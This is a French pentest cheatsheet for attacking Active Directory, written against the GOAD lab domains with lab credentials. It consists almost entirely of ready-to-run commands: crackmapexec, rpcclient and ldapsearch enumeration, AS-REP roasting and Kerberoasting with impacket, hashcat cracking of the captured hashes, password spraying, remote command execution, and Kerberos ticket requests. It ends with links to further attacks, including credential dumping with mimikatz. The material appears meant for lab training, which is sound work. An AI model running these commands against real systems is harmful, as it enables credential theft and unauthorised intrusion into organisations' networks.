Cheatsheet à destination d'un test de pénétration sur un environnement Active Directory

La reconnaissance / prise d'informations :

Installation crackmapexec sur Kali Linux :

```
sudo apt install crackmapexec
```

Scan CrackMapExec sur une range IP :

```
crackmapexec smb 10.202.0.0/16
```

Scan CrackMapExec sur une IP :

```
crackmapexec smb 10.202.150.150
```

Enumération avec nslookup :

```
nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10
```

Scan Nmap complet :

```
nmap -Pn -p- -sC -sV -oA 10.202.150.150
```

Enumération anonymme des comptes présents dans l'AD :

```
crackmapexec smb 10.202.150.150 --users
```

Utilisation enum4linux :

```
enum4linux 10.202.150.150
```

Enumération avec le protocole RPC :

```
rpcclient -U "NORTH\\" 10.202.150.150 -N
    > enumdomusers
    > enumdomgroups
```

Enumération des utilisateurs d'un domaine :

```
net rpc group members 'Domain Users' -W 'NORTH' -I '10.202.150.150' -U '%'
```

Lister les partages SMB en tant qu'anonyme :

```
crackmapexec smb 10.202.150.150 -u 'a' -p '' --shares
```

Lister les utilisateurs AsrepRoastable sans compte au préalable :

```
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt #
users.txt rempli avec des noms de comptes probables
```

Enumérer les utilisateurs d'un AD avec un compte valide :

```
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```

Enumérer les utilisateurs de l'AD avec un compte valide (LDAP) :

```
ldapsearch -H ldap://192.168.56.11 -D
"brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b
'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)
(objectClass=user))" |grep 'distinguishedName:'
```

Attaques Kerberos :

AsrepRoasting :

On récupére les users Asreproastable :

```
cd /opt/impacket/examples && sudo python3 GetNPUsers.py -request -dc-ip
IP_AD sevenkingdoms.local/user:motdepasse
```

Pour récupérer le Hash d'un user Asreproastable :

```
sudo python3 GetNPUsers.py -request -dc-ip IP_AD
sevenkingdoms.local/user:motdepasse -request-user jon.snow
```

On le cracke ensuite avec hashcat :

```
hashcat -m 18200 -a 0 hash.txt rockyou.txt
```

Accéder à des informations avec le compte :

```
crackmapexec smb IP_AD -u 'jon.snow' -p 'motdepasse' -d sevenkingdoms.local
-x 'dir C:\Users'
```

Kerberoast :

On commence par énumérer les utilisateurs vulnérables au kerberoast :

```
cd /opt/impacket/examples && sudo rdate -n north.sevenkingdoms.local &&
sudo python3 GetUserSPNs.py -request -dc-ip 10.202.0.118
north.sevenkingdoms.local/brandon.stark:iseedeadpeople
```

On récupère le hash d'un utilisateur précis vulnérable :

```
cd /opt/impacket/examples && sudo rdate -n north.sevenkingdoms.local &&
sudo python3 GetUserSPNs.py -request -dc-ip 10.202.0.118
north.sevenkingdoms.local/brandon.stark:iseedeadpeople -request-user
jon.snow -outputfile kerbe.hash && clear && echo "Voici le hash récupéré :
$(cat kerbe.hash)"
```

On lance hashcat pour craquer le hash :

```
hashcat -m 13100 --force -a 0 kerbe.hash /usr/share/wordlists/rockyou.txt -
-force
```

Attaques par mots de passe (dictionnaire,bruteforce) :

Tester si mot de passe == nom d'utilisateur :

```
crackmapexec smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce
```

Communication avec Kerberos :

Intégration à un domaine Kerberos :

```
sudo apt install krb5-user && nano /etc/krb5.conf

> [libdefaults]
default_realm = essos.local
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
[realms]
north.sevenkingdoms.local = {
    kdc = winterfell.north.sevenkingdoms.local
    admin_server = winterfell.north.sevenkingdoms.local
}
sevenkingdoms.local = {
    kdc = kingslanding.sevenkingdoms.local
    admin_server = kingslanding.sevenkingdoms.local
}
essos.local = {
    kdc = meereen.essos.local
    admin_server = meereen.essos.local
}
...
```

Demander un ticket TGT avec un user valide :

```
cd /opt/impacket/examples && sudo rdate -n north.sevenkingdoms.local &&
sudo python3 getTGT.py essos.local/khal.drogo:horse
```

Le stocker :

```
export KRB5CCNAME=/workspace/khal.drogo.ccache
```

Lister fichier avec smb :

```
smbclient.py -k @braavos.essos.local
```

Attaques à approfondir :

https://mayfly277.github.io/posts/GOADv2-pwning-part5/ https://mayfly277.github.io/posts/GOADv2-pwning-part6/ https://mayfly277.github.io/posts/GOADv2-pwning-part7/ https://mayfly277.github.io/posts/GOADv2-pwning-part8/ https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz